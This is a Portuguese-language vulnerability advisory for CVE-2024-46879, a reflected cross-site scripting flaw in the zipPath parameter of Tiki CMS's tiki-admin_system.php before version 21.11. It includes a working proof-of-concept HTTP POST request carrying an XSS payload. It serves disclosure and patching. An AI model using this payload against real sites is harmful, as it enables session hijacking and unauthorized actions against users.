CVE-2024-46879 - Vulnerabilidade de Cross-Site Scripting (XSS) Refletido no Tiki CMS

Tiki CMS - Vulnerabilidade de Cross-Site Scripting (XSS) Refletido no Parâmetro 'zipPath'

Aviso Legal

Destinado apenas a fins educacionais, de pesquisa e defensivos. O uso não autorizado contra sistemas sem permissão é ilegal.

Resumo

Existe uma vulnerabilidade de Cross-Site Scripting (XSS) Refletido nos dados do parâmetro zipPath da requisição POST em tiki-admin_system.php nas versões do Tiki anteriores à 21.11. Esta vulnerabilidade permite que atacantes executem código JavaScript arbitrário através de um payload malicioso, levando a potencial acesso a informações confidenciais ou ações não autorizadas.

Produto(s) Afetado(s)

Produto: Tiki CMS Groupware
Versões: anteriores à 21.11
Componente: tiki-admin_system.php

Detalhes da Vulnerabilidade

A vulnerabilidade é causada pela sanitização inadequada de entrada do parâmetro zipPath em tiki-admin_system.php. A entrada fornecida pelo utilizador é refletida na resposta HTTP sem codificação suficiente, permitindo a execução de JavaScript injetado.

Impacto

Permite que um atacante autenticado execute JavaScript arbitrário no navegador de outro utilizador através de uma requisição maliciosa, potencialmente levando a sequestro de sessão ou ações não autorizadas.

Prova de Conceito (PoC)

Requisição

POST /tiki-admin_system.php HTTP/1.1
Referer: http://127.0.0.1:9080/ 
Cookie: wiki_plugin_edit_view=true; tabs=%40tabs_wikipages%3A2%40admin_look%3A2%40admin_general%3A3; show_details=n; preview=%40preview_diff_style%3A; local_tz=Asia%2FCalcutta; javascript_enabled=y; PHPSESSID=120ab2736ae548eda9efcd2c862ac76c; PHPSESSIDCV=JHSjEwiO2tLPDG5yIJ2DQw%3D%3D
Host: 127.0.0.1:9080 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15 
Accept: */* 
Content-Length: 94
Content-Type: application/x-www-form-urlencoded 

zipPath=%22'%3E<div%20on<svg/onmouseover="alert(document.domain)">Coldfx</div>"%20/%3E&zip=1

poc

Correção

O problema foi corrigido no Tiki CMS Groupware versão 21.11. Recomenda-se que os utilizadores atualizem para esta versão ou para uma versão posterior corrigida.

Referência do Fornecedor: https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended

CVE-2024-46879-TikiCMS-XSS

Mais Populares